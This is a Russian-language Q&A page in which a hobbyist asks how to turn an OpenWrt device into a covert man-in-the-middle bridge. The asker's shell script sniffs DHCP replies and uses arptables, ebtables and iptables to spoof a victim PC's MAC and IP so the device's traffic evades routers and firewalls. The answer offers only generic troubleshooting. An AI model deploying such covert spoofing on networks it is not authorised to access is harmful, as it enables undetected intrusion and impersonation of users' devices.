Сценарий “человек посередине”

Вопрос или проблема

Я работаю над проектом для хобби, который реализует модем OpenWrt в качестве устройства MITM, которое может скрываться от маршрутизаторов и межсетевых экранов.

Сценарий:

Устройство (PC): Система пользователя, которая уже существует и подключена к сети

Модем: Маршрутизатор, на котором работает DHCP сервер

MITM: Модем OpenWrt, работающий как устройство MITM

  • Устройство подключается к eth0
  • Модем подключается к eth1
  • Порты br-lan это eth2 и eth3
  • IP адрес LAN установлен на что-то необычное, например 200.200.200.0/24 для LAN устройств, подключающихся к MITM устройству

Устройство и Модем уже объединены в мост, и MITM устройство может перехватывать пакеты и собирать IP и MAC адреса из них.

Цель:

Моя цель заключается в том, чтобы, если Устройство хочет взаимодействовать с Модемом, мне не нужно ничего делать, потому что они находятся в мосту, но когда устройство MITM хочет отправить запрос ping или даже начать TCP-соединение, я должен заменить все исходные адреса, такие как MAC и IP, на MAC и IP Устройства, чтобы Модем подумал, что это Устройство отправляет эти пакеты и пропустило их.

Я уже пытался реализовать эту идею с помощью arptables, ebtables, iptables и nft, но ни одно из них не работает.

Скрипт:

#!/bin/sh

# Настройка окружения
BRIDGE_INTERFACE="${BRIDGE_INTERFACE:-br-net}"  # Мост между модемом и устройством
LOCAL_INTERFACE="lo"                         # LAN интерфейс для мониторинга
LAN_INTERFACE="br-lan"                         # LAN интерфейс для мониторинга
MODEM_INTERFACE="eth1"                          # Интерфейс, подключенный к модему
DEVICE_INTERFACE="eth0"                         # Интерфейс, подключенный к устройству

# ---------------------------------------------------------------
# Этап 1: Обнаружение DHCPACK и настройка переменных
# ---------------------------------------------------------------
tcpdump -i "$BRIDGE_INTERFACE" -l -n -e \
  'udp and (port 67 or port 68) and udp[0xF8] = 0x35 and udp[0xFA] = 0x05 and len > 340' 2>/dev/null | \
awk '
  /BOOTP\/DHCP/ && /Reply/ && /ethertype IPv4/ {
    # Извлечение MAC адресов
    split($2, src_mac, ",")
    split($4, dest_mac, ",")
    
    # Извлечение IP адресов
    split($10, s, /[.:]/)
    split($12, d, /[.:]/)
    
    printf "MODEM_IP=%s MODEM_MAC=%s DEVICE_IP=%s DEVICE_MAC=%s\n", 
      s[1]"."s[2]"."s[3]"."s[4], src_mac[1],
      d[1]"."d[2]"."d[3]"."d[4], dest_mac[1]
      
    fflush()  # Незамедлительный вывод для канала
  }' | while read -r dhcp_vars; do

  # Установка переменных окружения
  eval "$dhcp_vars"

  # ---------------------------------------------------------------
  # Этап 2: Правила динамической обработки пакетов (исправленные)
  # ---------------------------------------------------------------
  # Очистка существующих правил
  arptables -t filter -F
  ebtables -t nat -F
  iptables -t nat -F
  iptables -t mangle -F

  #ip link set arp off $DEVICE_INTERFACE
  #ip link set arp off $MODEM_INTERFACE
  # Подмена ответов ARP для IP модема
  # ebtables -t nat -A PREROUTING -i $LAN_INTERFACE -p ARP --arp-opcode request --arp-ip-dst $MODEM_IP -j arpreply --arpreply-mac $MODEM_MAC

  arptables -A OUTPUT -o $MODEM_INTERFACE --opcode request -s 200.200.200.0/24 -j MARK --set-mark 0x100
  arptables -A OUTPUT -o $MODEM_INTERFACE --opcode request -s 200.200.200.0/24 -j mangle --mangle-ip-s $DEVICE_IP --mangle-mac-s $DEVICE_MAC

  # Маркировка трафика на основании назначения
  iptables -t mangle -A PREROUTING -i $LAN_INTERFACE ! -d $DEVICE_IP -j MARK --set-mark 0x100  # Направляется к модему
  iptables -t mangle -A PREROUTING -i $LAN_INTERFACE -d $DEVICE_IP -j MARK --set-mark 0x101     # Направляется к устройству

  # Перевод MAC связан с исходящими интерфейсами
  ebtables -t nat -A POSTROUTING -o $MODEM_INTERFACE --mark 0x100 -j snat --to-src $DEVICE_MAC
  ebtables -t nat -A POSTROUTING -o $DEVICE_INTERFACE --mark 0x101 -j snat --to-src $MODEM_MAC

  # Подмена IP
  iptables -t nat -A POSTROUTING -o $MODEM_INTERFACE -m mark --mark 0x100 -j SNAT --to-source $DEVICE_IP
  iptables -t nat -A POSTROUTING -o $DEVICE_INTERFACE -m mark --mark 0x101 -j SNAT --to-source $MODEM_IP

  # Таблицы маршрутизации
  ip route flush table 100
  ip route add default dev $MODEM_INTERFACE table 100
  ip route flush table 101
  ip route add $DEVICE_IP dev $DEVICE_INTERFACE table 101
  ip rule add fwmark 0x100 lookup 100
  ip rule add fwmark 0x101 lookup 101
  echo "-----------------------------------------------------------"
  echo "Активные правила перевода:"
  echo "MODEM_IP=$MODEM_IP MODEM_MAC=$MODEM_MAC (через $MODEM_INTERFACE)"
  echo "DEVICE_IP=$DEVICE_IP DEVICE_MAC=$DEVICE_MAC (через $DEVICE_INTERFACE)"
  echo "-----------------------------------------------------------"
done

Мне действительно нужно знать, с чего начать снова, или даже возможен ли этот сценарий?

.

Ответ или решение

Теория

Прежде чем углубиться в ваш проект, важно сначала понять, что такое атака "человек посередине" (Man-in-the-Middle, MITM). Это форма кибератаки, при которой атакующий незаметно перехватывает и, иногда, модифицирует коммуникации между двумя сторонами, которые полагают, что общаются друг с другом напрямую. Цель такой атаки может варьироваться от простого наблюдения до более активных действий, таких как подмена данных.

В случае с настройкой MITM в контексте вашего проекта, OpenWrt-модем действует как устройство, которое перехватывает пакеты данных между вашим ПК (Device) и роутером (Modem). Цель: возможность доступа к данным, проходящим через это соединение, а также скрытая подмена исходных IP и MAC-адресов для достижения максимально незаметного присоединения к сети.

Пример

Вы описали сценарий, в котором OpenWrt-модем настроен как промежуточное устройство, через него проходят все пакеты, и целью которого является подмена исходных адресов, чтобы трафик выглядел, как будто он исходит непосредственно от ПК. Это довольно амбициозная задача, учитывая возможные сложности с настройкой различных таблиц и правил, таких как arptables, ebtables, и iptables.

Применение

Теперь перейдём к приложению этой теории на практике, т.е. к подробному обсуждению вашего скрипта и конкретных моментов, где могли возникнуть проблемы.

Анализ вашего скрипта

  1. Настройка интерфейсов: Важно убедиться, что интерфейсы (eth0, eth1, br-lan и т.д.) правильно настроены и связаны между собой. В вашем случае br-lan объединяет eth2 и eth3, но всегда проверяйте, чтобы эти конфигурации отражали вашу физическую настройку.

  2. Захват пакетов: Вы используете tcpdump для перехвата DHCP-пакетов с целью сбора данных об адресах IP и MAC. Это отличный первый шаг, чтобы динамически адаптировать правила. Убедитесь, что параметры фильтрации соответствуют действительности вашей сети. Тестируйте их и вносьте правки при необходимости.

  3. Динамическая подмена адресов:

    • arptables и ebtables: Эти средства используются для управления ARP-трафиком (позволяя подмену MAC-адресов) и Ethernet-трафиком соответственно. Обратите внимание на то, поддерживается ли вашим ядром эти утилиты достаточно хорошо, и убедитесь, что правильно выставлены права на выполнение скриптов и команд.
    • iptables: Используется для подмены IP-адресов. Важно: для успешной подмены нужно правильно маркировать пакеты. Обратите внимание, что использование mangle и nat таблиц требует особой осторожности в порядке применения правил.
  4. Правила маршрутизации: Убедитесь, что для маркированных пакетов созданы и активны таблицы маршрутизации, как показано в вашем скрипте. Ошибки в маршрутизации могут привести к отказу в доступе или неправильной маршрутизации пакетов.

Советы по устранению неполадок:

  • Диагностика пакетов: Используйте инструменты вроде tcpdump или wireshark для мониторинга пакетов и убедитесь, что правила работают как ожидалось. Это поможет выделить этапы, на которых что-то может пойти не так.

  • Проверка надежности проводных подключений: Параметры мостов и правил фильтрации могут корректно применяться только на надежной физической сети. Убедитесь в правильности подключений и качества кабелей.

  • Обновление прошивки и софта: Убедитесь, что OpenWrt и все используемые модули установлены в последней стабильной версии. Ошибки в старом софте могут влиять на результат вашей работы.

  • Логирование ошибок и предупреждений: Настройте максимально подробное логирование на всех этапах, чтобы в случае ошибки можно было быстро отследить причину.

Надеюсь, эти рекомендации помогут вам диагностировать и устранить проблемы в вашем проекте. Вам нужно уделить особое внимание тестированию на каждом этапе изменения трафика, чтобы убедиться в корректности работы всех правил.

Оцените материал
Добавить комментарий

Капча загружается...